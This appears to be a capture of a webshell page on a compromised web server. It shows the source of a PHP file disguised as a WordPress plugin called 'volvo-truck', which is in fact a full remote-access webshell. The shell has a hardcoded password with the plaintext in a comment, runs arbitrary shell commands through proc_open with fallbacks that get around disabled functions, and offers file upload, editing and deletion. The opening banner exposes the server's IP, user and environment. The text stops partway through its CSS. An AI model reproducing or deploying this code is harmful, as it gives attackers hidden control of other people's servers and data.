| Server IP : 77.68.64.21 / Your IP : 216.73.217.145 Web Server : Apache System : Linux hp3-wp-1011352.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64 User : csh2516497 ( 2094697) PHP Version : 8.3.30 Disable Function : shell_exec,exec,system,popen,set_time_limit MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/domains/vol2/104/3056104/user/htdocs/wp-content/plugins/volvo-truck/ |
Upload File : |
<?php
/*
Plugin Name: volvo-truck
Description: volvo-truck
Version: 1.0
*/
/**
* WebShell Simple - PHP 5.3+ Compatible
* Version: 2.0
* Features: File Manager, Terminal, Editor, System Info, PHP Info
* Style: NeoBrutalism + Dark Mode
*/
session_start();
error_reporting(0);
@ini_set('display_errors', 0);
// ============================================================================
// CONFIGURATION
// ============================================================================
$pass = '$2y$12$ZEH5aSQzdL3IzmFmEsR9kuIeoLIZNzag9BYuLe33cFQ9UbJ9o9sjK'; // crypt bcrypt, password: th3d4rkfad3
$root_dir = realpath(getcwd()) ? realpath(getcwd()) : getcwd();
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(openssl_random_pseudo_bytes(32));
}
function csrf_field()
{
echo '<input type="hidden" name="csrf" value="' . $_SESSION['csrf'] . '">';
}
function csrf_check()
{
$t = isset($_POST['csrf']) ? $_POST['csrf'] : (isset($_SERVER['HTTP_X_CSRF_TOKEN']) ? $_SERVER['HTTP_X_CSRF_TOKEN'] : '');
if ($t === '' || $t !== $_SESSION['csrf']) {
http_response_code(403);
exit('Invalid CSRF token');
}
}
// ============================================================================
// AUTHENTICATION
// ============================================================================
if (!isset($_SESSION['login_attempts'])) {
$_SESSION['login_attempts'] = 0;
$_SESSION['login_locked_until'] = 0;
}
$login_error = '';
if (isset($_POST['p'])) {
if (time() < $_SESSION['login_locked_until']) {
$login_error = 'Too many attempts. Try again later.';
} elseif (crypt($_POST['p'], $pass) === $pass) {
$_SESSION['a'] = 1;
$_SESSION['login_attempts'] = 0;
session_regenerate_id(true);
} else {
$_SESSION['login_attempts']++;
sleep(1);
if ($_SESSION['login_attempts'] >= 5) {
$_SESSION['login_locked_until'] = time() + 300;
$_SESSION['login_attempts'] = 0;
$login_error = 'Too many attempts. Locked for 5 minutes.';
} else {
$login_error = 'Invalid password';
}
}
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
csrf_check();
}
if (isset($_GET['logout'])) {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
// ============================================================================
// UTILITY FUNCTIONS
// ============================================================================
function formatBytes($size)
{
if ($size < 0 || $size === false) return 'N/A';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$i = 0;
while ($size >= 1024 && $i < count($units) - 1) {
$size /= 1024;
$i++;
}
return round($size, 2) . ' ' . $units[$i];
}
function getPerms($file)
{
if (!file_exists($file)) return '---------';
$perms = fileperms($file);
$r = '';
$r .= ($perms & 00400) ? 'r' : '-';
$r .= ($perms & 00200) ? 'w' : '-';
$r .= ($perms & 00100) ? (($perms & 04000) ? 's' : 'x') : (($perms & 04000) ? 'S' : '-');
$r .= ($perms & 00040) ? 'r' : '-';
$r .= ($perms & 00020) ? 'w' : '-';
$r .= ($perms & 00010) ? (($perms & 02000) ? 's' : 'x') : (($perms & 02000) ? 'S' : '-');
$r .= ($perms & 00004) ? 'r' : '-';
$r .= ($perms & 00002) ? 'w' : '-';
$r .= ($perms & 00001) ? (($perms & 01000) ? 't' : 'x') : (($perms & 01000) ? 'T' : '-');
return $r;
}
function executeCmd($cmd)
{
$cmd = trim($cmd);
if (empty($cmd)) return '';
$output = '';
if (function_exists('proc_open')) {
$descriptors = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = @proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "\n");
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if ($errors) $output .= "\n" . $errors;
}
} elseif (function_exists('shell_exec')) {
$output = @shell_exec($cmd . ' 2>&1');
} elseif (function_exists('exec')) {
$out = array();
@exec($cmd . ' 2>&1', $out, $ret);
$output = implode("\n", $out);
} elseif (function_exists('system')) {
ob_start();
@system($cmd . ' 2>&1');
$output = ob_get_clean();
} elseif (function_exists('passthru')) {
ob_start();
@passthru($cmd . ' 2>&1');
$output = ob_get_clean();
}
return $output ? $output : '[No output]';
}
function getFileIcon($filename, $is_dir)
{
if ($is_dir) return array('fa-solid fa-folder', '#fbbf24', 'rgba(251,191,36,0.15)');
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$map = array(
'php' => array('fa-brands fa-php', '#8b5cf6', 'rgba(139,92,246,0.15)'),
'phtml' => array('fa-brands fa-php', '#8b5cf6', 'rgba(139,92,246,0.15)'),
'html' => array('fa-brands fa-html5', '#f97316', 'rgba(249,115,22,0.15)'),
'htm' => array('fa-brands fa-html5', '#f97316', 'rgba(249,115,22,0.15)'),
'css' => array('fa-brands fa-css3-alt', '#3b82f6', 'rgba(59,130,246,0.15)'),
'js' => array('fa-brands fa-js', '#eab308', 'rgba(234,179,8,0.15)'),
'json' => array('fa-solid fa-file-code', '#6b7280', 'rgba(107,114,128,0.15)'),
'py' => array('fa-brands fa-python', '#3b82f6', 'rgba(59,130,246,0.15)'),
'txt' => array('fa-solid fa-file-lines', '#6b7280', 'rgba(107,114,128,0.15)'),
'md' => array('fa-solid fa-file-lines', '#6b7280', 'rgba(107,114,128,0.15)'),
'jpg' => array('fa-solid fa-image', '#22c55e', 'rgba(34,197,94,0.15)'),
'jpeg' => array('fa-solid fa-image', '#22c55e', 'rgba(34,197,94,0.15)'),
'png' => array('fa-solid fa-image', '#22c55e', 'rgba(34,197,94,0.15)'),
'gif' => array('fa-solid fa-image', '#22c55e', 'rgba(34,197,94,0.15)'),
'svg' => array('fa-solid fa-image', '#22c55e', 'rgba(34,197,94,0.15)'),
'zip' => array('fa-solid fa-file-zipper', '#ef4444', 'rgba(239,68,68,0.15)'),
'tar' => array('fa-solid fa-file-zipper', '#ef4444', 'rgba(239,68,68,0.15)'),
'gz' => array('fa-solid fa-file-zipper', '#ef4444', 'rgba(239,68,68,0.15)'),
'sql' => array('fa-solid fa-database', '#06b6d4', 'rgba(6,182,212,0.15)'),
'xml' => array('fa-solid fa-code', '#f97316', 'rgba(249,115,22,0.15)'),
'log' => array('fa-solid fa-rectangle-list', '#6b7280', 'rgba(107,114,128,0.15)'),
'sh' => array('fa-solid fa-terminal', '#22c55e', 'rgba(34,197,94,0.15)'),
);
return isset($map[$ext]) ? $map[$ext] : array('fa-solid fa-file', '#9ca3af', 'rgba(156,163,175,0.15)');
}
// ============================================================================
// LOGIN PAGE
// ============================================================================
if (!isset($_SESSION['a'])) {
?>
<!DOCTYPE html>
<html lang="en" data-theme="light">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WS Simple - Login</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800;900&family=JetBrains+Mono:wght@400;500;600&display=swap');
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Inter', -apple-system, sans-serif;
background: #0f172a;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 20px;
}
.login-card {
background: #1e293b;
border: 2px solid #334155;
border-radius: 24px;
padding: 48px;
width: 100%;
max-width: 420px;
box-shadow: 0 25px 50px rgba(0, 0, 0, 0.5);
position: relative;
overflow: hidden;
}
.login-card::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 4px;
background: linear-gradient(90deg, #3b82f6, #8b5cf6, #ec4899);
}
.logo-icon {
width: 56px;
height: 56px;
background: linear-gradient(135deg, #3b82f6, #8b5cf6);
border-radius: 16px;
display: flex;
align-items: center;
justify-content: center;
font-size: 24px;
color: #fff;
margin-bottom: 24px;
box-shadow: 0 8px 25px rgba(59, 130, 246, 0.4);
}
h1 {
font-size: 28px;
font-weight: 800;
color: #f1f5f9;
margin-bottom: 6px;
letter-spacing: -0.5px;
}
.subtitle {
color: #64748b;
font-size: 14px;
margin-bottom: 32px;
font-weight: 500;
}
input[type="password"] {
width: 100%;
padding: 14px 18px;
border: 2px solid #334155;
border-radius: 12px;
font-size: 15px;
font-family: inherit;
margin-bottom: 16px;
outline: none;
background: #0f172a;
color: #f1f5f9;
transition: all 0.2s;
}
input[type="password"]:focus {
border-color: #3b82f6;
box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.3);
}
input[type="password"]::placeholder {
color: #475569;
}
button {
width: 100%;
padding: 14px;
background: linear-gradient(135deg, #3b82f6, #2563eb);
color: white;
border: none;
border-radius: 12px;
font-size: 15px;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 1px;
cursor: pointer;
transition: all 0.2s;
font-family: inherit;
}
button:hover {
transform: translateY(-2px);
box-shadow: 0 8px 25px rgba(59, 130, 246, 0.4);
}
button:active {
transform: translateY(0);
}
</style>
</head>
<body>
<div class="login-card">
<div class="logo-icon"><i class="fa-solid fa-terminal"></i></div>
<h1>WS Simple</h1>
<p class="subtitle">Minimal WebShell</p>
<form method="post">
<?php csrf_field(); ?>
<?php if ($login_error): ?><p style="color:#f87171;font-size:13px;font-weight:600;margin-bottom:16px;"><?php echo htmlspecialchars($login_error); ?></p><?php endif; ?>
<input type="password" name="p" placeholder="Enter password" required autofocus>
<button type="submit"><i class="fa-solid fa-right-to-bracket"></i> Login</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
// ============================================================================
// MAIN LOGIC
// ============================================================================
$d = isset($_GET['d']) ? $_GET['d'] : '.';
$cwd = realpath($d);
if (!$cwd) $cwd = getcwd();
// AJAX terminal
if (isset($_POST['c'])) {
echo executeCmd($_POST['c']);
exit;
}
// Upload
if (isset($_FILES['f'])) {
$target = $cwd . '/' . basename($_FILES['f']['name']);
if (move_uploaded_file($_FILES['f']['tmp_name'], $target)) {
$msg = 'File uploaded successfully';
} else {
$error = 'Upload failed';
}
}
// Save file
if (isset($_POST['s']) && isset($_POST['f'])) {
$result = @file_put_contents($_POST['f'], $_POST['s']);
if ($result !== false) {
$msg = 'File saved successfully';
} else {
$error = 'Save failed';
}
}
// Delete
if (isset($_GET['del']) && isset($_GET['d'])) {
if (!isset($_GET['csrf']) || $_GET['csrf'] !== $_SESSION['csrf']) {
http_response_code(403);
exit('Invalid CSRF token');
}
$f = $cwd . '/' . $_GET['del'];
if (is_dir($f)) {
@rmdir($f);
} else {
@unlink($f);
}
header('Location: ?d=' . urlencode($cwd));
exit;
}
// Rename
if (isset($_POST['rename'])) {
$old = $cwd . '/' . $_POST['oldname'];
$new = $cwd . '/' . $_POST['newname'];
if (file_exists($old) && !file_exists($new)) {
@rename($old, $new);
header('Location: ?d=' . urlencode($cwd));
exit;
}
}
// Create directory
if (isset($_POST['mkdir'])) {
$newdir = $cwd . '/' . $_POST['dirname'];
@mkdir($newdir, 0755, true);
header('Location: ?d=' . urlencode($cwd));
exit;
}
// Create file
if (isset($_POST['touch'])) {
$newfile = $cwd . '/' . $_POST['filename'];
if (!file_exists($newfile)) {
@file_put_contents($newfile, '');
}
header('Location: ?d=' . urlencode($cwd));
exit;
}
$hostname = function_exists('gethostname') ? gethostname() : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
$php_version = PHP_VERSION;
$current_user = function_exists('posix_getpwuid') && ($pw = @posix_getpwuid(@posix_geteuid()))
? $pw['name']
: (getenv('USERNAME') ? getenv('USERNAME') : (getenv('USER') ? getenv('USER') : 'unknown'));
$os_info = php_uname('s') . ' ' . php_uname('r');
$tab = isset($_GET['tab']) ? $_GET['tab'] : 'files';
?>
<!DOCTYPE html>
<html lang="en" data-theme="light">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WS Simple</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800;900&family=JetBrains+Mono:wght@400;500;600;700&display=swap');
:root {
--bg-primary: #f8fafc;
--bg-secondary: #ffffff;
--bg-tertiary: #f1f5f9;
--bg-hover: #e2e8f0;
--text-primary: #0f172a;
--text-secondary: #475569;
--text-muted: #94a3b8;
--border-color: #1e293b;
--border-light: #e2e8f0;
--shadow-color: #1e293b;
--accent-blue: #3b82f6;
--accent-green: #22c55e;
--accent-yellow: #fbbf24;
--accent-red: #ef4444;
--accent-purple: #8b5cf6;
--accent-cyan: #06b6d4;
--sidebar-bg: #0f172a;
}
[data-theme="dark"] {
--bg-primary: #0f172a;
--bg-secondary: #1e293b;
--bg-tertiary: #334155;
--bg-hover: #475569;
--text-primary: #f1f5f9;
--text-secondary: #cbd5e1;
--text-muted: #64748b;
--border-color: #475569;
--border-light: #334155;
--shadow-color: #000000;
--sidebar-bg: #020617;
}
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
font-family: 'Inter', -apple-system, sans-serif;
background: var(--bg-primary);
color: var(--text-primary);
min-height: 100vh;
transition: background 0.3s, color 0.3s;
}
.mono {
font-family: 'JetBrains Mono', monospace;
}
/* Layout */
.layout {
display: flex;
height: 100vh;
}
/* Sidebar */
.sidebar {
width: 280px;
background: var(--sidebar-bg);
display: flex;
flex-direction: column;
flex-shrink: 0;
position: relative;
}
.sidebar::after {
content: '';
position: absolute;
right: 0;
top: 0;
bottom: 0;
width: 1px;
background: linear-gradient(180deg, var(--accent-blue), var(--accent-purple), #ec4899);
}
.sidebar-header {
padding: 28px 24px;
border-bottom: 1px solid rgba(255, 255, 255, 0.1);
}
.sidebar-header .logo {
display: flex;
align-items: center;
gap: 12px;
}
.logo-icon {
width: 42px;
height: 42px;
background: linear-gradient(135deg, var(--accent-blue), var(--accent-purple));
border-radius: 12px;
display: flex;
align-items: center;
justify-content: center;
font-size: 20px;
color: #fff;
box-shadow: 0 4px 15px rgba(59, 130, 246, 0.4);
}
.sidebar-header h1 {
font-size: 22px;
font-weight: 800;
color: #fff;
letter-spacing: -0.5px;
}
.sidebar-header .version {
font-size: 10px;
font-weight: 700;
color: var(--accent-blue);
text-transform: uppercase;
letter-spacing: 2px;
margin-top: 2px;
}
.sidebar-nav {
flex: 1;
padding: 16px 12px;
overflow-y: auto;
}
.nav-label {
font-size: 10px;
font-weight: 700;
color: rgba(255, 255, 255, 0.35);
text-transform: uppercase;
letter-spacing: 2px;
padding: 12px 16px 8px;
}
.nav-item {
display: flex;
align-items: center;
padding: 12px 16px;
color: rgba(255, 255, 255, 0.6);
text-decoration: none;
font-weight: 600;
font-size: 14px;
border-radius: 10px;
margin-bottom: 4px;
transition: all 0.2s;
cursor: pointer;
position: relative;
}
.nav-item:hover {
background: rgba(255, 255, 255, 0.08);
color: #fff;
}
.nav-item.active {
background: rgba(59, 130, 246, 0.2);
color: #fff;
}
.nav-item.active::before {
content: '';
position: absolute;
left: 0;
top: 50%;
transform: translateY(-50%);
width: 3px;
height: 24px;
background: var(--accent-blue);
border-radius: 0 4px 4px 0;
}
.nav-item i {
width: 32px;
font-size: 16px;
text-align: center;
}
.sidebar-footer {
padding: 16px;
border-top: 1px solid rgba(255, 255, 255, 0.1);
}
.sidebar-info {
background: rgba(255, 255, 255, 0.05);
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 10px;
padding: 14px;
margin-bottom: 10px;
}
.sidebar-info .info-label {
font-size: 10px;
font-weight: 700;
color: rgba(255, 255, 255, 0.4);
text-transform: uppercase;
letter-spacing: 1px;
}
.sidebar-info .info-value {
font-weight: 700;
font-size: 13px;
color: #fff;
margin-top: 2px;
word-break: break-all;
}
.sidebar-info .info-value.accent {
color: var(--accent-blue);
}
.btn-logout {
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
width: 100%;
padding: 10px;
background: rgba(239, 68, 68, 0.15);
color: #ef4444;
border: 1px solid rgba(239, 68, 68, 0.3);
border-radius: 10px;
font-weight: 700;
font-size: 12px;
text-transform: uppercase;
cursor: pointer;
transition: all 0.2s;
text-decoration: none;
}
.btn-logout:hover {
background: rgba(239, 68, 68, 0.25);
}
.theme-toggle {
width: 100%;
padding: 10px;
border-radius: 10px;
border: 1px solid rgba(255, 255, 255, 0.1);
background: rgba(255, 255, 255, 0.05);
color: rgba(255, 255, 255, 0.7);
cursor: pointer;
transition: all 0.2s;
font-size: 16px;
margin-bottom: 10px;
}
.theme-toggle:hover {
background: rgba(255, 255, 255, 0.1);
color: #fff;
}
/* Main */
.main {
flex: 1;
overflow-y: auto;
background: var(--bg-primary);
}
.main-inner {
max-width: 1300px;
margin: 0 auto;
padding: 28px;
}
/* Header Bar */
.header-bar {
background: var(--bg-secondary);
border: 2px solid var(--border-color);
border-radius: 16px;
box-shadow: 4px 4px 0 0 var(--shadow-color);
padding: 18px 24px;
margin-bottom: 24px;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 12px;
}
.badge {
display: inline-flex;
align-items: center;
gap: 6px;
padding: 6px 12px;
border: 2px solid var(--border-color);
border-radius: 8px;
font-weight: 700;
font-size: 11px;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.badge i {
font-size: 10px;
}
.badge-yellow {
background: #fef3c7;
color: #92400e;
}
.badge-blue {
background: #dbeafe;
color: #1e40af;
}
.badge-green {
background: #dcfce7;
color: #166534;
}
.badge-purple {
background: #f3e8ff;
color: #6b21a8;
}
.badge-cyan {
background: #cffafe;
color: #155e75;
}
[data-theme="dark"] .badge-yellow {
background: rgba(251, 191, 36, 0.2);
color: #fbbf24;
}
[data-theme="dark"] .badge-blue {
background: rgba(59, 130, 246, 0.2);
color: #60a5fa;
}
[data-theme="dark"] .badge-green {
background: rgba(34, 197, 94, 0.2);
color: #4ade80;
}
[data-theme="dark"] .badge-purple {
background: rgba(139, 92, 246, 0.2);
color: #a78bfa;
}
[data-theme="dark"] .badge-cyan {
background: rgba(6, 182, 212, 0.2);
color: #22d3ee;
}
.path-box {
background: var(--bg-tertiary);
border: 2px solid var(--border-color);
border-radius: 8px;
padding: 8px 16px;
font-family: 'JetBrains Mono', monospace;
font-size: 12px;
font-weight: 600;
max-width: 500px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
color: var(--text-secondary);
}
/* Neo Components */
.neo-box {
background: var(--bg-secondary);
border: 2px solid var(--border-color);
border-radius: 16px;
box-shadow: 4px 4px 0 0 var(--shadow-color);
margin-bottom: 24px;
}
.neo-btn {
display: inline-flex;
align-items: center;
justify-content: center;
gap: 8px;
padding: 10px 18px;
border: 2px solid var(--border-color);
border-radius: 10px;
box-shadow: 3px 3px 0 0 var(--shadow-color);
font-weight: 700;
font-size: 12px;
text-transform: uppercase;
letter-spacing: 0.5px;
cursor: pointer;
transition: all 0.15s;
text-decoration: none;
background: var(--bg-secondary);
color: var(--text-primary);
font-family: inherit;
}
.neo-btn:hover {
transform: translate(2px, 2px);
box-shadow: 1px 1px 0 0 var(--shadow-color);
}
.neo-btn:active {
transform: translate(3px, 3px);
box-shadow: 0 0 0 0 var(--shadow-color);
}
.neo-btn-primary {
background: var(--accent-blue);
color: #fff;
}
.neo-btn-success {
background: var(--accent-green);
color: #000;
}
.neo-btn-warning {
background: var(--accent-yellow);
color: #000;
}
.neo-btn-danger {
background: var(--accent-red);
color: #fff;
}
.neo-btn-dark {
background: #1e293b;
color: #fff;
}
.neo-btn-purple {
background: var(--accent-purple);
color: #fff;
}
.neo-btn-ghost {
background: transparent;
border-color: var(--border-light);
box-shadow: none;
color: var(--text-secondary);
}
.neo-btn-ghost:hover {
background: var(--bg-tertiary);
transform: none;
box-shadow: none;
}
.neo-btn-sm {
padding: 7px 12px;
font-size: 11px;
border-radius: 8px;
box-shadow: 2px 2px 0 0 var(--shadow-color);
}
.neo-btn-sm:hover {
box-shadow: 0 0 0 0 var(--shadow-color);
}
.neo-input {
padding: 10px 16px;
border: 2px solid var(--border-color);
border-radius: 10px;
font-family: inherit;
font-size: 13px;
outline: none;
transition: all 0.2s;
background: var(--bg-secondary);
color: var(--text-primary);
}
.neo-input:focus {
box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.3);
border-color: var(--accent-blue);
}
/* Breadcrumb */
.breadcrumb {
background: var(--bg-secondary);
border: 2px solid var(--border-color);
border-radius: 12px;
box-shadow: 3px 3px 0 0 var(--shadow-color);
margin-bottom: 20px;
padding: 12px 18px;
display: flex;
align-items: center;
gap: 6px;
flex-wrap: wrap;
font-size: 13px;
}
.bc-icon {
width: 28px;
height: 28px;
background: linear-gradient(135deg, #fbbf24, #f97316);
border-radius: 8px;
display: flex;
align-items: center;
justify-content: center;
color: #fff;
font-size: 12px;
margin-right: 4px;
}
.breadcrumb a {
color: var(--accent-blue);
font-weight: 700;
text-decoration: none;
padding: 2px 6px;
border-radius: 4px;
transition: background 0.15s;
}
.breadcrumb a:hover {
background: rgba(59, 130, 246, 0.1);
}
.breadcrumb .sep {
color: var(--text-muted);
font-weight: 700;
}
/* File Table */
.file-table {
width: 100%;
border-collapse: separate;
border-spacing: 0;
}
.file-table th {
background: #1e293b;
color: #fff;
padding: 14px 18px;
text-align: left;
font-weight: 700;
text-transform: uppercase;
font-size: 11px;
letter-spacing: 1px;
border-bottom: 2px solid var(--border-color);
}
.file-table th:first-child {
border-radius: 14px 0 0 0;
}
.file-table th:last-child {
border-radius: 0 14px 0 0;
}
[data-theme="dark"] .file-table th {
background: #0f172a;
}
.file-table td {
padding: 12px 18px;
font-size: 13px;
border-bottom: 1px solid var(--border-light);
background: var(--bg-secondary);
transition: background 0.15s;
}
.file-table tr:hover td {
background: var(--bg-tertiary);
}
.file-table tr:last-child td:first-child {
border-radius: 0 0 0 14px;
}
.file-table tr:last-child td:last-child {
border-radius: 0 0 14px 0;
}
.file-name {
display: flex;
align-items: center;
gap: 12px;
font-weight: 600;
}
.file-name a {
color: var(--text-primary);
text-decoration: none;
display: flex;
align-items: center;
gap: 12px;
}
.file-name a:hover {
color: var(--accent-blue);
}
.file-icon-wrap {
width: 36px;
height: 36px;
border-radius: 10px;
display: flex;
align-items: center;
justify-content: center;
font-size: 16px;
flex-shrink: 0;
}
.perm-badge {
background: var(--bg-tertiary);
border: 1px solid var(--border-light);
border-radius: 6px;
padding: 3px 8px;
font-size: 11px;
font-weight: 600;
font-family: 'JetBrains Mono', monospace;
color: var(--text-secondary);
}
.action-btns {
display: flex;
gap: 6px;
opacity: 0.6;
transition: opacity 0.15s;
}
.file-table tr:hover .action-btns {
opacity: 1;
}
.action-btn {
width: 32px;
height: 32px;
border-radius: 8px;
border: 1px solid var(--border-light);
background: var(--bg-secondary);
color: var(--text-secondary);
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
transition: all 0.15s;
font-size: 13px;
text-decoration: none;
}
.action-btn:hover {
border-color: var(--border-color);
transform: translateY(-1px);
}
.action-btn.edit:hover {
background: #dbeafe;
color: #2563eb;
}
.action-btn.rename:hover {
background: #fef3c7;
color: #d97706;
}
.action-btn.delete:hover {
background: #fee2e2;
color: #dc2626;
}
/* Terminal */
.terminal-box {
background: #0c0c0c;
border: 2px solid var(--border-color);
border-radius: 16px;
box-shadow: 4px 4px 0 0 var(--accent-green);
overflow: hidden;
margin-bottom: 24px;
}
.terminal-header {
background: linear-gradient(135deg, #065f46, #047857);
padding: 14px 20px;
display: flex;
align-items: center;
justify-content: space-between;
}
.terminal-title {
font-weight: 700;
font-size: 13px;
color: #fff;
display: flex;
align-items: center;
gap: 10px;
}
.terminal-dots {
display: flex;
gap: 6px;
}
.terminal-dots span {
width: 12px;
height: 12px;
border-radius: 50%;
border: 2px solid rgba(0, 0, 0, 0.2);
}
.dot-red {
background: #ef4444;
}
.dot-yellow {
background: #fbbf24;
}
.dot-green {
background: #22c55e;
}
.terminal-body {
padding: 20px;
color: #4ade80;
font-family: 'JetBrains Mono', monospace;
font-size: 13px;
line-height: 1.6;
min-height: 280px;
max-height: 400px;
overflow-y: auto;
white-space: pre-wrap;
word-break: break-all;
}
.terminal-body::-webkit-scrollbar {
width: 6px;
}
.terminal-body::-webkit-scrollbar-track {
background: transparent;
}
.terminal-body::-webkit-scrollbar-thumb {
background: #334155;
border-radius: 3px;
}
.terminal-input-line {
display: flex;
align-items: center;
padding: 14px 20px;
border-top: 1px solid #1e293b;
background: #111827;
}
.terminal-prompt {
color: var(--accent-green);
font-weight: 700;
margin-right: 12px;
font-size: 13px;
font-family: 'JetBrains Mono', monospace;
}
.terminal-input {
flex: 1;
background: transparent;
border: none;
color: #e2e8f0;
font-family: 'JetBrains Mono', monospace;
font-size: 13px;
outline: none;
caret-color: var(--accent-green);
}
/* Toast */
.toast-container {
position: fixed;
top: 24px;
right: 24px;
z-index: 9999;
display: flex;
flex-direction: column;
gap: 10px;
}
.toast {
background: var(--bg-secondary);
border: 2px solid var(--border-color);
border-radius: 12px;
box-shadow: 4px 4px 0 0 var(--shadow-color);
padding: 14px 20px;
display: flex;
align-items: center;
gap: 12px;
font-weight: 600;
font-size: 13px;
min-width: 300px;
animation: toastIn 0.4s cubic-bezier(0.34, 1.56, 0.64, 1);
}
.toast.success {
border-left: 4px solid var(--accent-green);
}
.toast.error {
border-left: 4px solid var(--accent-red);
}
.toast-icon {
width: 32px;
height: 32px;
border-radius: 8px;
display: flex;
align-items: center;
justify-content: center;
font-size: 14px;
}
.toast.success .toast-icon {
background: #dcfce7;
color: #16a34a;
}
.toast.error .toast-icon {
background: #fee2e2;
color: #dc2626;
}
@keyframes toastIn {
from {
opacity: 0;
transform: translateX(100px);
}
to {
opacity: 1;
transform: translateX(0);
}
}
@keyframes toastOut {
to {
opacity: 0;
transform: translateX(100px);
}
}
/* Tab Content */
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
/* Toolbar */
.toolbar {
display: flex;
flex-wrap: wrap;
gap: 10px;
margin-bottom: 20px;
align-items: center;
}
.search-box {
position: relative;
margin-left: auto;
}
.search-box input {
padding: 10px 16px 10px 40px;
border: 2px solid var(--border-color);
border-radius: 10px;
font-family: inherit;
font-size: 13px;
outline: none;
background: var(--bg-secondary);
color: var(--text-primary);
width: 220px;
transition: all 0.2s;
}
.search-box input:focus {
width: 280px;
box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.3);
border-color: var(--accent-blue);
}
.search-box i {
position: absolute;
left: 14px;
top: 50%;
transform: translateY(-50%);
color: var(--text-muted);
font-size: 13px;
}
/* Info Grid */
.info-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
gap: 20px;
}
.info-card {
background: var(--bg-secondary);
border: 2px solid var(--border-color);
border-radius: 16px;
box-shadow: 4px 4px 0 0 var(--shadow-color);
padding: 24px;
}
.info-card-header {
display: flex;
align-items: center;
gap: 14px;
margin-bottom: 16px;
padding-bottom: 14px;
border-bottom: 2px solid var(--border-light);
}
.info-icon-wrap {
width: 44px;
height: 44px;
border-radius: 12px;
display: flex;
align-items: center;
justify-content: center;
font-size: 18px;
color: #fff;
}
.info-card h3 {
font-size: 16px;
font-weight: 700;
}
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px 0;
border-bottom: 1px solid var(--border-light);
}
.info-row:last-child {
border-bottom: none;
}
.info-row label {
font-size: 12px;
font-weight: 600;
color: var(--text-muted);
}
.info-row span {
font-weight: 700;
font-size: 13px;
}
/* Editor */
.editor-box {
border-radius: 16px;
overflow: hidden;
}
.editor-header {
background: linear-gradient(135deg, var(--accent-blue), var(--accent-purple));
padding: 16px 20px;
display: flex;
align-items: center;
justify-content: space-between;
}
.editor-info {
display: flex;
align-items: center;
gap: 12px;
color: #fff;
}
.editor-textarea {
width: 100%;
min-height: 450px;
resize: vertical;
font-family: 'JetBrains Mono', monospace;
font-size: 13px;
line-height: 1.7;
padding: 20px;
border: none;
outline: none;
background: var(--bg-secondary);
color: var(--text-primary);
tab-size: 4;
}
.editor-footer {
display: flex;
gap: 10px;
padding: 16px 20px;
background: var(--bg-tertiary);
border-top: 2px solid var(--border-light);
}
/* Modal */
.modal-overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.6);
backdrop-filter: blur(4px);
z-index: 1000;
align-items: center;
justify-content: center;
padding: 20px;
}
.modal-overlay.active {
display: flex;
}
.modal {
background: var(--bg-secondary);
border: 2px solid var(--border-color);
border-radius: 20px;
box-shadow: 8px 8px 0 0 var(--shadow-color);
padding: 28px;
width: 100%;
max-width: 440px;
animation: modalIn 0.3s cubic-bezier(0.34, 1.56, 0.64, 1);
}
@keyframes modalIn {
from {
opacity: 0;
transform: scale(0.9) translateY(20px);
}
to {
opacity: 1;
transform: scale(1) translateY(0);
}
}
.modal-header {
display: flex;
align-items: center;
margin-bottom: 20px;
padding-bottom: 16px;
border-bottom: 2px solid var(--border-light);
gap: 14px;
}
.modal-icon {
width: 44px;
height: 44px;
border-radius: 12px;
display: flex;
align-items: center;
justify-content: center;
font-size: 18px;
color: #fff;
}
.modal h3 {
font-size: 18px;
font-weight: 800;
}
.modal-footer {
display: flex;
gap: 10px;
margin-top: 20px;
}
.modal-footer .neo-btn {
flex: 1;
}
/* Upload */
.upload-area {
border: 2px dashed var(--border-light);
border-radius: 12px;
padding: 30px;
text-align: center;
transition: all 0.2s;
cursor: pointer;
}
